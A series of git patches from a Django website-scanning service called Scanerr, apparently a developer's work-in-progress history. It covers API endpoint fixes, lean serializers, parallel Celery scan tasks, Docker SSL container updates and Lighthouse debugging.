Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 5 Jan 2023 11:21:02 -0600 Subject: [PATCH 129/277] fixed site create issue & error msgs --- app/api/v1/ops/services.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index ec916180..bff17b9f 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -90,7 +90,7 @@ def create_site(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - if Site.objects.filter(site_url=site_url).exists(): + if Site.objects.filter(site_url=site_url, user=user).exists(): data = {'reason': 'site already exists',} record_api_call(request, data, '409') return Response(data, status=status.HTTP_409_CONFLICT) @@ -288,6 +288,18 @@ def create_test(request, delay=False): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + if pre_scan: + if pre_scan.time_completed == None: + data = {'reason': 'post_scan still running'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + if post_scan: + if post_scan.time_completed == None: + data = {'reason': 'pre_scan still running'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + if not Scan.objects.filter(site=site).exists(): data = {'reason': 'Site not yet onboarded'} From c2a84d966a86ed1b392d927f4883c631e7a0f37d Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 5 Jan 2023 11:21:44 -0600 Subject: [PATCH 130/277] upgrading SSL certs container --- docker-compose.prod.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 9593055b..a41e940a 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -58,8 +58,10 @@ services: - /var/run/docker.sock:/tmp/docker.sock:ro depends_on: - app + + nginx-proxy-letsencrypt: - image: jrcs/letsencrypt-nginx-proxy-companion + image: nginxproxy/acme-companion # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion env_file: - ./env/.env.prod.proxy-companion volumes: @@ -67,12 +69,14 @@ services: - certs:/etc/nginx/certs - html:/usr/share/nginx/html - vhost:/etc/nginx/vhost.d + - letsencrypt-acme:/etc/acme.sh depends_on: - nginx-proxy volumes: static_volume: + letsencrypt-acme: certs: html: vhost: \ No newline at end of file From c31665cbe9eb510e9a2e55ec799143772f482316 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 5 Jan 2023 14:17:45 -0600 Subject: [PATCH 131/277] working on "lean" endpoints --- app/api/v1/ops/serializers.py | 13 +++++++++++++ app/api/v1/ops/services.py | 4 +++- app/api/v1/ops/views.py | 14 ++++++++++++++ 3 files changed, 30 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index 9b2db7fd..b9e193a3 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -172,4 +172,17 @@ class Meta: model = Testcase fields = ['id', 'site', 'user', 'time_created', 'time_completed', 'steps', 'case', 'case_name', 'passed', 'configs', + ] + + +class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Testcase + fields = ['id', 'site', 'user', 'time_created', 'time_completed', + 'case', 'case_name', 'passed', 'configs', ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index bff17b9f..1a19bc4d 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1615,7 +1615,7 @@ def create_testcase(request, delay=False): -def get_testcases(request): +def get_testcases(request, lean=False): testcase_id = request.query_params.get('testcase_id') site_id = request.query_params.get('site_id') @@ -1653,6 +1653,8 @@ def get_testcases(request): result_page = paginator.paginate_queryset(testcases, request) serializer_context = {'request': request,} serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) + if lean: + serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 5b02f015..ad270785 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -390,6 +390,20 @@ def get(self, request): +class TestcasesLean(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_testcase(request) + return response + + def get(self, request): + response = get_testcases(request) + return respons + + + class TestcaseDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] From c14b2f1c5efbc3bd7dd468b53589b85cb11fd406 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 5 Jan 2023 17:08:16 -0600 Subject: [PATCH 132/277] added lean support for Scan, Test, & Tescase --- app/api/v1/ops/services.py | 33 +++++++++++++++++---------------- app/api/v1/ops/views.py | 18 ++---------------- 2 files changed, 19 insertions(+), 32 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 1a19bc4d..774b9f8d 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -106,7 +106,7 @@ def create_site(request, delay=False): if no_scan == False: if delay == True: - scan = Scan.objects.create(site=site, type=['full']) + scan = Scan.objects.create(site=site, type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) create_site_bg.delay(site.id, scan.id, configs) site.info["latest_scan"]["id"] = str(scan.id) site.info["latest_scan"]["time_created"] = str(scan.time_created) @@ -252,13 +252,13 @@ def create_test(request, delay=False): pre_scan_id = request.data.get('pre_scan', None) post_scan_id = request.data.get('post_scan', None) index = request.data.get('index', None) - test_type = request.data.get('type', ['full']) + test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) tags = request.data.get('tags', None) pre_scan = None post_scan = None if len(test_type) == 0: - test_type = ['full'] + test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] if not configs: configs = { @@ -379,7 +379,7 @@ def get_tests(request): site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') time_end = request.query_params.get('time_end') - small = request.query_params.get('small') + lean = request.query_params.get('lean') if test_id != None: @@ -437,10 +437,10 @@ def get_tests(request): paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(tests, request) serializer_context = {'request': request,} - if small != None: + serialized = TestSerializer(result_page, many=True, context=serializer_context) + if lean is not None: serialized = SmallTestSerializer(result_page, many=True, context=serializer_context) - else: - serialized = TestSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') @@ -574,11 +574,11 @@ def create_scan(request, delay=False): site_id = request.data.get('site_id', None) user = request.user configs = request.data.get('configs', None) - types = request.data.get('type', ['full']) + types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) tags = request.data.get('tags', None) if len(types) == 0: - types = ['full'] + types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] try: site = Site.objects.get(id=site_id) @@ -666,7 +666,7 @@ def get_scans(request): site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') time_end = request.query_params.get('time_end') - small = request.query_params.get('small') + lean = request.query_params.get('lean') if scan_id != None: try: @@ -715,10 +715,9 @@ def get_scans(request): paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(scans, request) serializer_context = {'request': request,} - if small != None: + serialized = ScanSerializer(result_page, many=True, context=serializer_context) + if lean is not None: serialized = SmallScanSerializer(result_page, many=True, context=serializer_context) - else: - serialized = ScanSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response @@ -1250,7 +1249,7 @@ def create_or_update_report(request): report_id = request.data.get('report_id', None) site_id = request.data.get('site_id', None) - report_type = request.data.get('type', ['full']) + report_type = request.data.get('type', ['lighthouse', 'yellowlab']) text_color = request.data.get('text_color', '#24262d') background_color = request.data.get('background_color', '#e1effd') highlight_color = request.data.get('highlight_color', '#4283f8') @@ -1615,9 +1614,11 @@ def create_testcase(request, delay=False): -def get_testcases(request, lean=False): +def get_testcases(request): testcase_id = request.query_params.get('testcase_id') site_id = request.query_params.get('site_id') + lean = request.query_params.get('lean') + if testcase_id != None: try: @@ -1653,7 +1654,7 @@ def get_testcases(request, lean=False): result_page = paginator.paginate_queryset(testcases, request) serializer_context = {'request': request,} serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) - if lean: + if lean is not None: serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index ad270785..792336b1 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -115,7 +115,7 @@ def delete(self, request, id): class ScanLean(APIView): permission_classes = (AllowAny,) - http_method_names = ['get', 'delete',] + http_method_names = ['get', ] def get(self, request, id): response = get_scan_lean(request, id) @@ -181,7 +181,7 @@ def delete(self, request, id): class TestLean(APIView): permission_classes = (AllowAny,) - http_method_names = ['get', 'delete',] + http_method_names = ['get',] def get(self, request, id): response = get_test_lean(request, id) @@ -390,20 +390,6 @@ def get(self, request): -class TestcasesLean(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post', 'get'] - - def post(self, request): - response = create_testcase(request) - return response - - def get(self, request): - response = get_testcases(request) - return respons - - - class TestcaseDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] From a07a08c2e1415374a252f390dd1f4a63b678498a Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 6 Jan 2023 14:27:12 -0600 Subject: [PATCH 133/277] added parallel scanto site creation --- app/api/v1/ops/services.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 774b9f8d..69931edb 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -107,7 +107,16 @@ def create_site(request, delay=False): if no_scan == False: if delay == True: scan = Scan.objects.create(site=site, type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - create_site_bg.delay(site.id, scan.id, configs) + # running scans in parallel + if 'html' or 'logs' or 'full' in types: + run_html_and_logs_bg.delay(scan_id=scan.id) + if 'lighthouse' or 'full' in types: + run_lighthouse_bg.delay(scan_id=scan.id) + if 'yellowlab' or 'full' in types: + run_yellowlab_bg.delay(scan_id=scan.id) + if 'vrt' or 'full' in types: + run_vrt_bg.delay(scan_id=scan.id) + # create_site_bg.delay(site.id, scan.id, configs) site.info["latest_scan"]["id"] = str(scan.id) site.info["latest_scan"]["time_created"] = str(scan.time_created) site.save() @@ -569,6 +578,8 @@ def delete_many_tests(request): + + def create_scan(request, delay=False): site_id = request.data.get('site_id', None) From f8eba6178ebbb8d60188d32f5c3f615faa566161 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 16 Jan 2023 16:07:17 -0600 Subject: [PATCH 134/277] minor changes --- app/api/views.py | 0 app/scanerr/settings.py | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 app/api/views.py diff --git a/app/api/views.py b/app/api/views.py deleted file mode 100644 index e69de29b..00000000 diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 9aae0d2a..d5adddcf 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 7ae3ad427f3b31a0da2c72f5237bb9277cbf87cc Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 16 Jan 2023 16:54:32 -0600 Subject: [PATCH 135/277] minor changes --- app/api/management/commands/create_admin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index e9bcecc7..77c68bd6 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -34,4 +34,4 @@ def handle(self, *args, **options): if not Token.objects.filter(user=user).exists(): Token.objects.create(user=user) - verify() \ No newline at end of file + # verify() \ No newline at end of file From d87f8d5cc1f4963ff5acda809daba48cc67068bd Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 17 Jan 2023 11:07:09 -0600 Subject: [PATCH 136/277] billing production --- app/scanerr/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index d5adddcf..23b99d11 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -1,5 +1,5 @@ """ -Django settings for scanerr project. +Django settings for Scanerr project. Generated by 'django-admin startproject' using Django 3.2.3. @@ -240,5 +240,5 @@ # stripe keys -STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST') -STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') \ No newline at end of file +STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE') +STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE') \ No newline at end of file From 02032c2299807d4dc4073fa79ebe280f2dce37ca Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 23 Jan 2023 20:58:56 -0600 Subject: [PATCH 137/277] fixed args & kwargs bug --- app/api/tasks.py | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index d3a29c2d..8ed9048e 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -29,7 +29,7 @@ def test_pupeteer(): @shared_task -def create_site_bg(site_id, scan_id, configs=None): +def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs): create_site_task(site_id, scan_id, configs) logger.info('Created scan of new site') @@ -59,25 +59,25 @@ def create_scan_bg( @shared_task -def run_html_and_logs_bg(scan_id=None): +def run_html_and_logs_bg(scan_id=None, *args, **kwargs): run_html_and_logs_task(scan_id) logger.info('ran html & logs component') @shared_task -def run_vrt_bg(scan_id=None): +def run_vrt_bg(scan_id=None, *args, **kwargs): run_vrt_task(scan_id) logger.info('ran vrt component') @shared_task -def run_lighthouse_bg(scan_id=None): +def run_lighthouse_bg(scan_id=None, *args, **kwargs): run_lighthouse_task(scan_id) logger.info('ran lighthouse component') @shared_task -def run_yellowlab_bg(scan_id=None): +def run_yellowlab_bg(scan_id=None, *args, **kwargs): run_yellowlab_task(scan_id) logger.info('ran yellowlab component') @@ -112,25 +112,25 @@ def create_test_bg( logger.info('Created new test of site') @shared_task -def create_report_bg(site_id=None, automation_id=None): +def create_report_bg(site_id=None, automation_id=None, *args, **kwargs): create_report_task(site_id, automation_id) logger.info('Created new report of site') @shared_task -def delete_site_s3_bg(site_id): +def delete_site_s3_bg(site_id, *args, **kwargs): delete_site_s3(site_id) logger.info('Deleted site s3 objects') @shared_task -def delete_report_s3_bg(report_id): +def delete_report_s3_bg(report_id, *args, **kwargs): delete_report_s3(report_id) logger.info('Deleted Report pdf in s3') @shared_task -def purge_logs(username=None): +def purge_logs(username=None, *args, **kwargs): if username: user = User.objects.get(username=username) Log.objects.filter(user=user).delete() @@ -173,7 +173,9 @@ def migrate_site_bg( plugin_name, wait_time, process_id, - driver, + driver, + *args, + **kwargs ): migrate_site_task( login_url, From 9156bb7374fa2313daef176d142a6ce80b227705 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 23 Jan 2023 21:00:09 -0600 Subject: [PATCH 138/277] removed "-v" flag --- commands | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/commands b/commands index cb2ad858..ff37b079 100644 --- a/commands +++ b/commands @@ -10,5 +10,5 @@ docker compose down docker-compose -f docker-compose.prod.yml up -d --build ### spins down the container and removes volumes ### -docker-compose -f docker-compose.prod.yml down -v +docker-compose -f docker-compose.prod.yml down From 96d3f360e5ebde4e9610a3750e093c777f9aa4ef Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 13:25:16 -0600 Subject: [PATCH 139/277] trying to fix site create bug --- app/api/utils/scanner.py | 2 +- app/api/v1/ops/services.py | 23 ++++++++++++++++++++--- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 8d94bc44..25df62cc 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -19,7 +19,7 @@ def __init__( site=None, scan=None, configs=None, - type=['full'] + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] ): if site == None and scan != None: diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 69931edb..2ae89b8b 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -64,7 +64,7 @@ def create_site(request, delay=False): site_url = request.data.get('site_url') user = request.user sites = Site.objects.filter(user=user) - + if site_url.endswith('/'): site_url = site_url.rstrip('/') @@ -104,10 +104,27 @@ def create_site(request, delay=False): tags=tags, ) + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False + } + if no_scan == False: if delay == True: - scan = Scan.objects.create(site=site, type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - # running scans in parallel + scan = Scan.objects.create( + site=site, + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + configs=configs, + ) + # running scans in parallel if 'html' or 'logs' or 'full' in types: run_html_and_logs_bg.delay(scan_id=scan.id) if 'lighthouse' or 'full' in types: From 4892d0b26fce9335707f5b058f949883d127d0af Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 13:50:23 -0600 Subject: [PATCH 140/277] testing lh bugs --- app/api/utils/lighthouse.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 04e1a740..06582a7e 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -47,6 +47,7 @@ def get_data(self): return error stdout_json = json.loads(stdout_value) + print(stdout_json) # initial audits object audits = { From 2beca316de82aee73a71f16c61bd13e30911b3af Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Tue, 24 Jan 2023 14:12:48 -0600 Subject: [PATCH 141/277] adding checks --- app/api/utils/lighthouse.py | 4 +++- app/api/utils/yellowlab.py | 4 ++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 06582a7e..9daf1156 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,6 +40,8 @@ def get_data(self): try: stdout_value = self.init_audit() stdout_string = str(stdout_value) + print(f'LH string output => {stdout_string}') + if len(stdout_string) != 0: if 'Runtime error encountered' in stdout_string: @@ -47,7 +49,7 @@ def get_data(self): return error stdout_json = json.loads(stdout_value) - print(stdout_json) + print(f'LH json output => {stdout_json}') # initial audits object audits = { diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index b1024a16..fd046a79 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -30,6 +30,8 @@ def get_data(self): try: stdout_value = self.init_audit() stdout_string = str(stdout_value) + print(f'YL string output => {stdout_string}') + if len(stdout_string) != 0: if 'Runtime error encountered' in stdout_string: @@ -37,6 +39,8 @@ def get_data(self): return error stdout_json = json.loads(stdout_value) + print(f'YL json output => {stdout_json}') + # initial audits object audits = { From 8460613870b81b78db2d9a816f2c2093131109d4 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 14:51:20 -0600 Subject: [PATCH 142/277] removed logging --- app/api/utils/yellowlab.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index fd046a79..527ddfb2 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -30,7 +30,7 @@ def get_data(self): try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - print(f'YL string output => {stdout_string}') + # print(f'YL string output => {stdout_string}') if len(stdout_string) != 0: @@ -39,7 +39,7 @@ def get_data(self): return error stdout_json = json.loads(stdout_value) - print(f'YL json output => {stdout_json}') + # print(f'YL json output => {stdout_json}') # initial audits object From a7986d55b7c1f9972c058bbfed47f33bcf78a567 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 14:54:45 -0600 Subject: [PATCH 143/277] debugging --- app/api/v1/ops/services.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 2ae89b8b..db5e97ed 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -64,7 +64,7 @@ def create_site(request, delay=False): site_url = request.data.get('site_url') user = request.user sites = Site.objects.filter(user=user) - + if site_url.endswith('/'): site_url = site_url.rstrip('/') @@ -656,6 +656,8 @@ def create_scan(request, delay=False): # type=types, # ) + print(f'types ==> {str(types)}') + # running scans in selenium mode if 'html' or 'logs' or 'full' in types: run_html_and_logs_bg.delay(scan_id=created_scan.id) From 9cb7667ddc5c2a588528003588a71d80e39265ce Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 15:01:47 -0600 Subject: [PATCH 144/277] testing --- app/api/utils/lighthouse.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 9daf1156..736a837d 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,7 +40,7 @@ def get_data(self): try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - print(f'LH string output => {stdout_string}') + # print(f'LH string output => {stdout_string}') if len(stdout_string) != 0: @@ -49,7 +49,7 @@ def get_data(self): return error stdout_json = json.loads(stdout_value) - print(f'LH json output => {stdout_json}') + # print(f'LH json output => {stdout_json}') # initial audits object audits = { @@ -63,11 +63,13 @@ def get_data(self): # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj for cat in audits: - cat_audits = stdout_json["categories"][cat]["auditRefs"] - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + print(f'AUDITS => {cat_audits}') + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) # changing audits names audits['best_practices'] = audits.pop('best-practices') audits['crux'] = audits.pop('lighthouse-plugin-crux') From 9adbeb0296cfdcb451532ac1573e395abedce29a Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 15:04:39 -0600 Subject: [PATCH 145/277] testing --- app/api/utils/lighthouse.py | 180 ++++++++++++++++++------------------ 1 file changed, 90 insertions(+), 90 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 736a837d..23733d20 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,107 +37,107 @@ def init_audit(self): def get_data(self): - try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - # print(f'LH string output => {stdout_string}') - - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - # print(f'LH json output => {stdout_json}') - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - print(f'AUDITS => {cat_audits}') - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - - except Exception as e: - print(e) + # try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + # print(f'LH string output => {stdout_string}') - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + stdout_json = json.loads(stdout_value) + # print(f'LH json output => {stdout_json}') + + # initial audits object audits = { "seo": [], "accessibility": [], "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + print(f'AUDITS => {cat_audits}') + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score } + data = { "scores": scores, "audits": audits, - "failed": True + "failed": False } + + + # except Exception as e: + # print(e) + + # scores = { + # "seo": None, + # "accessibility": None, + # "performance": None, + # "best_practices": None, + # "pwa": None, + # "crux": None, + # "average": None + # } + + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best_practices": [], + # "pwa": [], + # "crux": [] + # } + + # data = { + # "scores": scores, + # "audits": audits, + # "failed": True + # } return data From 06ed57dc7fd37cb321905a8ae4b632778cd9b073 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 15:15:00 -0600 Subject: [PATCH 146/277] testing --- app/api/utils/lighthouse.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 23733d20..79e70d8f 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,7 +39,7 @@ def get_data(self): # try: stdout_value = self.init_audit() - stdout_string = str(stdout_value) + stdout_string = dict(stdout_value) # print(f'LH string output => {stdout_string}') @@ -48,8 +48,10 @@ def get_data(self): error = {'error': 'lighthouse ran into a problem',} return error - stdout_json = json.loads(stdout_value) + # stdout_json = json.loads(stdout_value) # print(f'LH json output => {stdout_json}') + stdout_json = stdout_string + # initial audits object audits = { @@ -64,7 +66,6 @@ def get_data(self): # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj for cat in audits: cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - print(f'AUDITS => {cat_audits}') if cat_audits is not None: for a in cat_audits: if int(a["weight"]) > 0: From de224ecb5f5921964276f9e8507f143dd1599734 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 15:21:45 -0600 Subject: [PATCH 147/277] still debugging --- app/api/utils/lighthouse.py | 179 ++++++++++++++++++------------------ 1 file changed, 88 insertions(+), 91 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 79e70d8f..1d8c5881 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,108 +37,105 @@ def init_audit(self): def get_data(self): - # try: - stdout_value = self.init_audit() - stdout_string = dict(stdout_value) - # print(f'LH string output => {stdout_string}') - - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - # stdout_json = json.loads(stdout_value) - # print(f'LH json output => {stdout_json}') - stdout_json = stdout_string + try: + stdout_value = self.init_audit() + 